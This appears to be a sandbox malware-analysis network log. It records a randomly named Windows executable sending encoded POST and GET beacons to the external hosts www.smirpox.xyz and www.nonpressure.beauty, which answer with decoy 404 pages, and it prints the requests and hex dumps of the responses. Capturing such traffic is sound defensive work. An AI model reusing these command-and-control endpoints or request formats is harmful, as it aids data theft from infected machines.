Nov 12, 2024 18:49:48.868078947 CET	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 17:49:48 GMT Server: Apache Content-Length: 38381 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6d 65 79 65 72 2d 72 65 73 65 74 2f 32 2e 30 2f 72 65 73 65 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 2b 43 6f 6e 64 65 6e 73 65 64 3a 34 30 30 2c 37 30 30 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"><link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto+Condensed:400,700'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="container"> <p class="textA">Page Not Found</p> <p class="textB">404</p> <a class="textC" href="#">Go Back</a><svg class="page-not-found" viewBox="0 0 1280 1024"> <title>Page Not Found</title> <g class="hide tri-dots"> <circle cx="406.1" cy="890.7" r="3.5" transform="translate(-361.3 283) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="426.2" cy="878.8" r="3.7" transform="translate(-353.7 290.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="424.4" cy="861.8" r="3.7" transform="translate(-346.1 288.1) rotate(-27.1)" style="fill: #ffe029"/> <cir [TRUNCATED]
Nov 12, 2024 18:49:48.868172884 CET	1236	IN	Data Raw: 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 33 38 2e 33 22 20 63 79 3d 22 38 35 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 Data Ascii: 7.1)" style="fill: #ffe029"/> <circle cx="438.3" cy="851.8" r="3.7" transform="translate(-340.1 293.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="453.8" cy="845.8" r="3.7" transform="translate(-335.6 299.8) rotate(-27
Nov 12, 2024 18:49:48.868185043 CET	1236	IN	Data Raw: 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 37 31 2e 35 22 20 63 79 3d 22 38 31 37 2e 37 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 32 30 2e 39 20 33 30 34 2e 38 29 20 72 6f 74 61 74 65 Data Ascii: <circle cx="471.5" cy="817.7" r="3.7" transform="translate(-320.9 304.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="487.9" cy="810.2" r="3.7" transform="translate(-315.6 311.4) rotate(-27.1)" style="fill: #ffe029"/>
Nov 12, 2024 18:49:48.868633032 CET	1236	IN	Data Raw: 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 30 31 2e 37 20 33 31 37 2e 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 Data Ascii: 7" transform="translate(-301.7 317.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="504.6" cy="802.3" r="3.7" transform="translate(-310.2 318.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="519.7" cy="812.9" r="3.7
Nov 12, 2024 18:49:48.868645906 CET	848	IN	Data Raw: 20 33 34 31 2e 32 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 37 30 2e 35 22 20 63 79 3d 22 38 30 37 Data Ascii: 341.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="570.5" cy="807.2" r="3.7" transform="translate(-305.2 348.7) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="572.5" cy="790.5" r="3.7" transform="translate(-297.3
Nov 12, 2024 18:49:48.868658066 CET	1236	IN	Data Raw: 32 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 36 33 30 2e 36 22 20 63 79 3d 22 37 35 38 2e 35 22 20 72 Data Ascii: 2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="630.6" cy="758.5" r="3.7" transform="translate(-276.4 370.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="647" cy="766.1" r="3.7" transform="translate(-278 379) rota
Nov 12, 2024 18:49:48.868669987 CET	1236	IN	Data Raw: 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 36 30 39 2e 32 22 20 63 79 3d 22 37 30 31 2e 33 22 20 72 3d 22 33 2e 36 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 35 32 2e 37 20 33 35 34 Data Ascii: "/> <circle cx="609.2" cy="701.3" r="3.6" transform="translate(-252.7 354.7) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="606.7" cy="718.2" r="3.7" transform="translate(-260.6 355.4) rotate(-27.1)" style="fill: #ffe029"
Nov 12, 2024 18:49:48.868683100 CET	424	IN	Data Raw: 22 20 63 79 3d 22 37 33 30 2e 37 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 37 30 2e 36 20 33 33 39 2e 32 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c Data Ascii: " cy="730.7" r="3.7" transform="translate(-270.6 339.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="571.9" cy="714.5" r="3.7" transform="translate(-262.8 339.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="587.4"
Nov 12, 2024 18:49:48.869458914 CET	1236	IN	Data Raw: 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 39 31 2e 34 22 20 63 79 3d 22 36 39 31 2e 33 22 20 72 3d 22 33 2e 37 22 20 74 72 61 Data Ascii: -27.1)" style="fill: #ffe029"/> <circle cx="591.4" cy="691.3" r="3.7" transform="translate(-250.1 345.5) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="574.1" cy="698.1" r="3.7" transform="translate(-255.1 338.4) rotate(-
Nov 12, 2024 18:49:48.869468927 CET	212	IN	Data Raw: 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 33 33 2e 37 22 20 63 79 3d 22 37 32 35 2e 35 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 37 32 20 33 32 33 Data Ascii: 29"/> <circle cx="533.7" cy="725.5" r="3.7" transform="translate(-272 323) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="537.5" cy="709.2" r="3.7" transform="translate(-264.1 322.9) rotate(
Nov 12, 2024 18:49:48.873123884 CET	1236	IN	Data Raw: 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 34 31 2e 31 22 20 63 79 3d 22 36 39 32 2e 39 22 20 72 3d 22 33 2e 37 22 20 74 72 61 Data Ascii: -27.1)" style="fill: #ffe029"/> <circle cx="541.1" cy="692.9" r="3.7" transform="translate(-256.4 322.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="556.3" cy="703.9" r="3.7" transform="translate(-259.7 330.9) rotate(-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50033	203.161.46.201	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:49:50.743695974 CET	10896	OUT	POST /qnzs/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.smirpox.xyz Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Connection: close Origin: http://www.smirpox.xyz Referer: http://www.smirpox.xyz/qnzs/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 4c 7a 4d 6a 45 67 4d 66 78 4c 5a 58 57 74 62 32 46 64 2b 64 46 58 42 47 70 36 62 2b 54 4f 45 59 4a 4c 31 61 6d 34 47 70 6d 77 6c 33 56 51 4e 50 57 63 53 4f 57 71 65 35 54 32 61 64 53 47 53 77 6b 6d 53 48 78 46 35 55 35 38 49 59 6e 6c 76 67 4f 56 33 2b 6b 78 30 42 49 4f 5a 6f 2b 2f 56 70 6b 78 61 57 64 54 66 62 71 66 56 50 52 4a 6d 65 79 42 63 72 51 35 53 58 43 48 78 50 46 48 4e 4e 69 58 62 5a 58 55 38 67 63 6f 74 35 47 65 75 62 4e 32 64 4b 38 79 34 46 78 47 69 59 68 6b 77 5a 49 77 34 70 53 2f 7a 41 6c 50 47 50 67 57 6e 73 50 77 74 33 34 6e 4e 49 55 4a 45 43 4a 76 65 65 5a 78 6c 6a 6b 61 56 67 4b 79 61 66 6d 79 31 36 31 74 70 4f 75 42 61 6f 2f 41 31 58 56 36 55 64 6b 61 79 4c 77 30 6b 55 67 6d 62 36 6d 55 50 68 34 50 45 43 55 6f 6e 69 65 6d 52 6f 6c 51 43 6c 74 53 75 73 69 54 72 4d 55 56 34 44 35 4c 50 77 69 36 7a 47 6b 31 63 37 44 74 39 6a 56 47 53 71 64 76 38 47 58 56 69 73 76 6f 6d 49 52 6d 4d 62 33 61 77 65 6b 64 65 6d 56 49 32 38 56 72 4d 57 55 7a 36 50 61 2b 67 4a 7a 49 73 67 5a [TRUNCATED] Data Ascii: C0oD=LzMjEgMfxLZXWtb2Fd+dFXBGp6b+TOEYJL1am4Gpmwl3VQNPWcSOWqe5T2adSGSwkmSHxF5U58IYnlvgOV3+kx0BIOZo+/VpkxaWdTfbqfVPRJmeyBcrQ5SXCHxPFHNNiXbZXU8gcot5GeubN2dK8y4FxGiYhkwZIw4pS/zAlPGPgWnsPwt34nNIUJECJveeZxljkaVgKyafmy161tpOuBao/A1XV6UdkayLw0kUgmb6mUPh4PECUoniemRolQCltSusiTrMUV4D5LPwi6zGk1c7Dt9jVGSqdv8GXVisvomIRmMb3awekdemVI28VrMWUz6Pa+gJzIsgZgKUST8mICB8jxQA7HLOEmhkkwZL/I1ToJVT9yAQba0VuzyUgwpKCs76lM2n5kiqXVqhv8LbYfpujs5UK8DdP1xRNREmDfcW9+QcvnZ4ApjYza3P4pVjlXakjB05rD9BzTqFEU+9AeG3fRVvTJehB4XyL3SmU4qpAcIxh1wApRcHISECNaf9eBs1xp67VsuYdG3yCetu4IgofE6dHEpMHholuxxlzynALSXEM4WnIKtzKxPATr2TMHcJMSfwQXFmUsyYwtQ6Uqg7BAjU4bHZarFFbj+EM7oJCKSHKM5wTzdTmBVQH2EaU/IyJ0u3/cJ0PmDZ8lyM34zf6iT9ixcF9FpzgLr1FDixN5ND7WT4X3EhYgi6/nUUXPy+GTlTLuFhZgjKAug87ByEvCdwJwMOtnQMDC1jX7lzeDPhnym9Ig+cizdRiScu4PV2V6nrvNLoPJ11+Q09kcQevTQ8l4pxjbuA5kAuw3on6pfiyPcjR3/pHveMu4rLzhHA95RsgZ4NtU0PGfiUFlGl+cTcaekpARJdUmNtxXDHRcwOaiGq/20/2kZDlLE1MDaW5dULkr8R8D1tuD77I5+V4V9HZfLLdQ3YMMJJZBsmCB27Tuqe9XEE3ZacSP2wsPQoxfw/GJD/Rfv4ZL0aWGKFlnrZsYpklSe/XStkape1IQ8 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50034	203.161.46.201	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:49:53.285903931 CET	537	OUT	GET /qnzs/?C0oD=GxkDHWsX54BcXdr+X4+GX30U3Lj5RtBkEtwzkqjSlwd5bhdVdKj3SOXRTkGfTnWing/dpWlHheQGrgb9DnLsoxo3QIxkxehw/T2sZhHOm+tURauy0yxjdNs=&SJLty=7Zsl8bAHqdkHEnH HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.smirpox.xyz Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Nov 12, 2024 18:49:54.144273996 CET	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 17:49:54 GMT Server: Apache Content-Length: 38381 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6d 65 79 65 72 2d 72 65 73 65 74 2f 32 2e 30 2f 72 65 73 65 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 2b 43 6f 6e 64 65 6e 73 65 64 3a 34 30 30 2c 37 30 30 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"><link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto+Condensed:400,700'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="container"> <p class="textA">Page Not Found</p> <p class="textB">404</p> <a class="textC" href="#">Go Back</a><svg class="page-not-found" viewBox="0 0 1280 1024"> <title>Page Not Found</title> <g class="hide tri-dots"> <circle cx="406.1" cy="890.7" r="3.5" transform="translate(-361.3 283) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="426.2" cy="878.8" r="3.7" transform="translate(-353.7 290.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="424.4" cy="861.8" r="3.7" transform="translate(-346.1 288.1) rotate(-27.1)" style="fill: #ffe029"/> <cir [TRUNCATED]
Nov 12, 2024 18:49:54.144323111 CET	1236	IN	Data Raw: 39 38 2e 35 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 33 38 2e 33 22 20 63 79 3d 22 38 35 31 2e 38 Data Ascii: 98.5) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="438.3" cy="851.8" r="3.7" transform="translate(-340.1 293.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="453.8" cy="845.8" r="3.7" transform="translate(-335.6 29
Nov 12, 2024 18:49:54.144337893 CET	1236	IN	Data Raw: 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 37 31 2e 35 22 20 63 79 3d 22 38 31 37 2e 37 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 32 30 2e Data Ascii: fe029"/> <circle cx="471.5" cy="817.7" r="3.7" transform="translate(-320.9 304.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="487.9" cy="810.2" r="3.7" transform="translate(-315.6 311.4) rotate(-27.1)" style="fill: #ff
Nov 12, 2024 18:49:54.144751072 CET	636	IN	Data Raw: 20 63 79 3d 22 37 38 34 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 30 31 2e 37 20 33 31 37 2e 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 Data Ascii: cy="784" r="3.7" transform="translate(-301.7 317.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="504.6" cy="802.3" r="3.7" transform="translate(-310.2 318.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="519.7" cy
Nov 12, 2024 18:49:54.144864082 CET	1236	IN	Data Raw: 73 6c 61 74 65 28 2d 32 39 39 2e 38 20 33 33 32 2e 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 34 Data Ascii: slate(-299.8 332.3) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="541.8" cy="770.3" r="3.7" transform="translate(-291.5 331.6) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="559.9" cy="763.5" r="3.7" transform="trans
Nov 12, 2024 18:49:54.144875050 CET	212	IN	Data Raw: 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 36 31 32 2e 34 22 20 63 79 3d 22 37 36 35 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 Data Ascii: .1)" style="fill: #ffe029"/> <circle cx="612.4" cy="765.8" r="3.7" transform="translate(-281.7 363.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="627.4" cy="776" r="3.7" transform="transl
Nov 12, 2024 18:49:54.145157099 CET	1236	IN	Data Raw: 61 74 65 28 2d 32 38 34 2e 37 20 33 37 31 2e 32 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 36 33 30 2e Data Ascii: ate(-284.7 371.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="630.6" cy="758.5" r="3.7" transform="translate(-276.4 370.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="647" cy="766.1" r="3.7" transform="translate
Nov 12, 2024 18:49:54.145168066 CET	212	IN	Data Raw: 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 36 30 39 2e 32 22 20 63 79 3d 22 37 30 31 2e 33 22 20 72 3d 22 33 2e 36 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 Data Ascii: ="fill: #ffe029"/> <circle cx="609.2" cy="701.3" r="3.6" transform="translate(-252.7 354.7) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="606.7" cy="718.2" r="3.7" transform="translate(-260
Nov 12, 2024 18:49:54.145179033 CET	1236	IN	Data Raw: 2e 36 20 33 35 35 2e 34 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 36 31 35 2e 37 22 20 63 79 3d 22 37 Data Ascii: .6 355.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="615.7" cy="747.7" r="3.7" transform="translate(-273.1 362.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="602.2" cy="735.1" r="3.7" transform="translate(-268.
Nov 12, 2024 18:49:54.145193100 CET	1236	IN	Data Raw: 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 38 37 2e 34 22 20 63 79 3d 22 37 32 34 2e 36 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 Data Ascii: ="fill: #ffe029"/> <circle cx="587.4" cy="724.6" r="3.7" transform="translate(-265.7 347.3) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="590.7" cy="708.2" r="3.7" transform="translate(-257.8 347) rotate(-27.1)" style="f
Nov 12, 2024 18:49:54.149571896 CET	1236	IN	Data Raw: 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 32 32 2e 32 22 20 63 79 3d 22 36 39 37 2e 33 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 36 30 2e 34 20 33 31 34 2e 36 29 20 72 6f 74 61 74 65 28 2d 32 Data Ascii: <circle cx="522.2" cy="697.3" r="3.7" transform="translate(-260.4 314.6) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="518.7" cy="713.5" r="3.7" transform="translate(-268.2 314.8) rotate(-27.1)" style="fill: #ffe029"/> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50035	104.21.4.93	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:49:59.458235979 CET	815	OUT	POST /naci/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.nonpressure.beauty Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Connection: close Origin: http://www.nonpressure.beauty Referer: http://www.nonpressure.beauty/naci/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 57 79 4d 4f 39 45 6e 47 45 4b 48 51 37 71 70 6c 44 51 33 2b 47 4f 41 46 32 6f 63 5a 55 32 2f 42 6d 46 48 54 69 51 52 68 35 6a 68 58 59 30 2f 69 4e 6a 66 55 4f 34 54 66 43 41 65 43 74 6e 47 4f 36 4c 4e 71 5a 67 6f 4b 44 64 64 37 42 70 51 78 49 30 32 55 39 6c 56 70 31 6e 32 37 44 50 48 71 4f 53 35 33 31 49 6e 62 66 50 48 2f 63 4f 50 35 35 63 4b 38 50 43 70 71 47 7a 67 34 73 76 4e 75 56 6b 53 6f 54 32 45 32 6d 2f 75 39 75 47 4e 70 6c 65 7a 58 48 7a 4e 37 2f 59 43 48 64 57 65 38 31 41 35 4e 6e 6b 59 78 48 2f 79 48 43 6a 6f 64 55 64 72 6f 5a 7a 5a 4f 4d 37 65 65 38 46 31 44 6b 77 3d 3d Data Ascii: C0oD=WyMO9EnGEKHQ7qplDQ3+GOAF2ocZU2/BmFHTiQRh5jhXY0/iNjfUO4TfCAeCtnGO6LNqZgoKDdd7BpQxI02U9lVp1n27DPHqOS531InbfPH/cOP55cK8PCpqGzg4svNuVkSoT2E2m/u9uGNplezXHzN7/YCHdWe81A5NnkYxH/yHCjodUdroZzZOM7ee8F1Dkw==
Nov 12, 2024 18:50:00.376020908 CET	675	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 17:50:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Tue, 12 Nov 2024 17:50:00 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8e185ca1fc2b7b20-DEN Content-Encoding: gzip server-timing: cfL4;desc="?proto=TCP&rtt=19001&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=815&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 37 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7a\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.h0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50036	104.21.4.93	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
